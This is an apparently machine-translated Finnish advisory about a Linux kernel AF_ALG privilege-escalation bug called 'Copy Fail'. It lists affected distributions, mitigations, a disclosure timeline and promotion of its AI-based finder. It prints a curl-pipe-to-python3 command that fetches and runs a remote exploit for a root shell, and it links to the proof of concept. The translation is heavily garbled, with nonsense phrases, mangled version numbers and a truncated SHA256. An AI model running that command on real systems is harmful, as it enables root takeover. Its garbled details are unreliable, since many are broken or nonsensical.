732 tavua tappaa Linux: eeppinen porsaanreikä on lähes kymmenen vuoden päässä.
Runouden porsaanreikä: 732 tavua tappoi kaikki Linuxit.
Nimi.KopiointivirheLinuxin ydin (CVE-2026-314331) paljastettiin julkisesti:
- 732 tavuaPython- skripti
- 100% luotettava, ei kilpaileva ikkuna tai ytimen offset
- Vaikuttaa kaikkiin Linuxin julkaisuihin Versio(2017 tähän mennessä)
- Kontti pakenee.Ylivuokralaisten hyökkäys.
- Olen piileskellyt melkein 10 vuotta.29 päivään huhtikuuta 2026 asti
Sama kirjoitusUbuntu, RHEL, Amazon Linux, SUSEMolemmat ovat päteviä.
Reiän ydin
Yksittäinen logiikkavirhe
Kopioi epäonnistuminen on yksiSuoraviivaiset loogiset viat:
- Kilpailullista ikkunaa ei tarvita: Toisin kuin useimmat Linux LPE, sinun täytyy kilpailla.
- Ytimen kompensaatiota ei tarvita.: Ei mitään erityistä ytimen offset
- 100% luotettavaMuu järjestäjä
- Sama komentosarja: voimassa kaikissa jakeluissa
Reikäketju.
Kopioi epäonnistumisketju:
- Looginen virhe: Looginen vika
- AF ALG: Ytimen avulla crypto API
- Mauste: Ketjupuhelu
- 4 byte sivuvälimuistin kirjoitus: Lopullinen hyökkäys alkuperäistä kieltä vastaan
- Saatavana lähes 10 vuottaVuodesta 2017 laastarin vapauttamiseen
• Vaikutusten laajuus
Virallisesti sertifioitu luovutus
| Julkaisu | ytimen versio | Tila |
|---|---|---|
| Ubuntu 24,04 LTS | 6.17,0-1007-sahat | Tarkistettu |
| Amazon Linux 2023 | 6,18,8-9213. atzn 2023 | Tarkistettu |
| RHEL 10, 1 | 6,12,0-124,51,el10 1 | Tarkistettu |
| SUSE 16 | 6,12,0-16000,9-oletus | Tarkistettu |
Muut käsitellyt laitokset
Seuraava laitosSama.:
- Debian.
- Arch Linux.
- Fedora.
- Rocky Linux
- AlmaLinux
- Oracle Linux
- Upotettu Linux
Päätelmät: Jos ydin on rakennettu vuoden 2017 ja paikat...Se vaikuttaa sinuun.En tiedä.
Riskiskenaario
| kohtaus | Riski | Vaikutus |
|---|---|---|
| Useita vuokralaisia Linux | Korkea | Käyttäjästä tulee juuri |
| Kubernetes / Container Cluster | Korkea | Ristikontti, tenantin hyökkäys |
| CI Runner / Build Farm | Korkea | PR:stä tulee juoksijan juuri |
| Cloud SaaS käynnissä käyttäjäkoodi | Korkea | Vuokrasta tulee isäntäjuurta |
| Standard Linux Server | Keskisuuri | Sisäinen ketjuhyökkäys. |
| Yhden käyttäjän muistikirja | Matala | Soluttautumisen jälkeiset vaiheet |
Lieventäminen
Vaihtoehto 1: Ytimen päivitys (suositeltu)
Päivitä ytimen sisältöOlen pahoillani, päälinjaryhmä A664bf3d603dMuu järjestäjä
- Korjaa sisältö: Peru algif edessä paikan optimointi 2017
- Vaikutukset:sivu-välimuisti sivu ei enää näy kirjoitettava
- Tila: Useimmat valtavirran painokset ovat julkaisseet paikkoja
Vaihtoehto 2: Poista algif aead -moduuli käytöstä (väliaikainen)
# 禁用 algif_aead 模块 echo "install algif_aead /bin/false" > /etc/modprobe.d/disable-algif.conf rmmod algif_aead 2>/dev/null || true
Poista algifin vaikutus
| Osa | Vaikutus |
|---|---|
| dm-salaus /LUKS | Ei vaikutusta |
| kTLS / IPsec | Ei vaikutusta |
| OpenSSL / SSH | Ei vaikutusta |
| AF ALG-käyttäjätila | Mahdolliset vaikutukset |
Päätelmät: Poista algif aead useimmille järjestelmilleEi ilmeisiä vaikutuksia.En tiedä.
Ohjelma 3: Seccomp Stop AF ALG
Luotettavat työkuormat (kontit, hiekkalaatikot, CI) estävät AF ALG-pistoketta luomasta:
# 检查 AF_ALG 使用 lsof | grep AF_ALG ss -xa
🚀PoC Presentation
PoC on julkistettu validointijärjestelmien osalta:
Nopea juosta
$ curl https://copy.fail/exp | python3 && su # id uid=0(root) gid=1002(user) groups=1002(user)
PC-tiedot
- Tiedoston koko:732 tavua
- KieletAinoastaan Python 3.10+ stdlibi
- Oletuskohde:/usr/bin/su
- SHA256: a567d09b15f6e4440e70c9f2a8edec8ed59f53301952df05c7a3911687f9
Varoitus: skripti muuttaa sivun kokoa skripti binary; muutos ei kestä uudelleenkäynnistyksen jälkeen, mutta root kuori on todellinen. Älä juokse tuotantoympäristössä.
• Aikalinjojen julkistaminen
| Päivämäärä | Tapahtumat |
|---|---|
| 2026-03-23 | Ilmoittaudu Linux Kernel Security -tiimille. |
| 2026-03-24 | Alkuvahvistus |
| 2026-03-25 | Paikkaehdotus ja tilintarkastus |
| 2026-04-01 | Paikkaa mainline |
| 2026-04-22 | CVE-2026-314331 Jakautuminen |
| 2026-04-29 | Julkistaminen |
Perustaja: Xint-koodi
ReikäXint-koodiLöytyi:
- Skannausaika: noin 1 tunnin skannaus Linux crypto/ osajärjestelmä
- Etsi menetelmä: tekoälyyn perustuva kooditarkastus
- Täydellinen analyysi: juuri syy, kaaviot, impraator ohjelma
- Muut havainnot: Myös muita korkean tason kriittisiä puutteita havaitaan, ja niitä koordinoidaan edelleen julkistamisen osalta.
Xint-koodi
- 0 päivän RCE: ZeroDay Cloud, lakaise tietokanta luokat (Redis, PostgreSQL, MariaDB)
- DARPA AuxCC Top 3:Darpa AI Cyber Challenge lopullinen
- DEF CON CTF 9x: DEF CON CTF voittajajoukkue historiassa
Yhteenveto
Kopio epäonnistui (CVE-2026-314331)eeppinen Linux-ytimen reikä:
- 732 Byte tappaa kaikki Linux (vuodesta 2017)
- 100% luotettavuus, yksittäinen looginen vika
- Konttipako. Vangin kanssa hyökätään.
- Se on väijynyt lähes 10 vuotta 29. huhtikuuta 2026 asti.
- Riskiskenaario: monivuokrainen kodinomistuskone, konttiklusteri, CI Runner, SaaS
- Lieventäminen: Päivitä tai kiellä ytimen algif aead
- Perustaja: Xint Code, AI kuljettajatarkastus
Melkein kymmenen eeppistä reikää, käsikirjoitus tappaa kaikki Linuxit.
Sirpaloitumisverkosto:https://copy.fail
GitHub PoC:https://github.com/theori-io/copy-fail-CVE-2026-314331
Tekninen analyysi:https://xint.io/blog/copy-fail-linux-distributions
Kernel Patch:https://git.kernel.org/stable/c/a664bf3d603dc3bdcf9ae47cc21e0daec706d7a5